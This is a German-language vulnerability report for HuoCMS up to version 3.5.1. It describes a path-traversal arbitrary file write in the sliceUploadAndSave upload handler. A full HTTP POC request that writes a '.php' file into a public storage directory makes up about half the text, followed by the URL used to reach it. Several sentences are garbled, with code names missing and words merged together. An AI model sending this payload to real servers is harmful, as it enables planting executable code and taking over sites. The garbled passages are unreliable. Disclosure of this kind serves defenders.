
Schwachstellenbeschreibung
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
Upload.php
HuoCMS - <=V3.5.1
In der Methode sliceUploadAndSave der Datei AttachmentController.php (unter app -> controller -> backend) wird der Parameter resource_type gegen eine Whitelist erlaubter Dateierweiterungen (z. B. txt, png usw.) validiert. Anschließend ruft die Methode aus (unter ) auf.
tmpMoveUpload.phpapp -> service -> uploadDie Methode tmpMove erstellt zunächst eine Datei. Der Parameter $filename (gesteuert durch den benutzerkontrollierten Eingabeparameter resource_temp_path) kann jedoch ausgenutzt werden, um Verzeichnisse zu traversieren (z. B. durch ../), um Ordner zu erstellen. Anschließend führt die Methode eine Verschiebeoperation durch, bei der die Datei in das erstellte Verzeichnis gelegt wird. Der endgültige Dateiname wird durch Anhängen eines Unterstrichs und des Suffixes $pos generiert, wobei $pos über den bei der Übergabe übermittelten Parameter chunk_index gesteuert wird (siehe die tatsächliche Parameterübergabe für Details).
Dies erzeugt eine Sicherheitslücke, bei der ein Angreifer resource_temp_path und chunk_index manipulieren könnte, um Dateien an beliebige Positionen mit kontrollierten Dateinamen zu schreiben.
Details:
app >controller >backend > AttachmentController.php:sliceUploadAndSave

app >service >upload > Upload.php:tmpMove

Diese Schwachstelle tritt im Backend auf und erfordert eine Anmeldung im Backend mit einem Token, um sie auszulösen. Bitte richten Sie die Umgebung selbst ein und melden Sie sich an.
POC:
POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"
../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"
txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"
11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--

Zugriffs-URL:
http://127.0.0.1/storage/image/20250415/%5f%5f.php
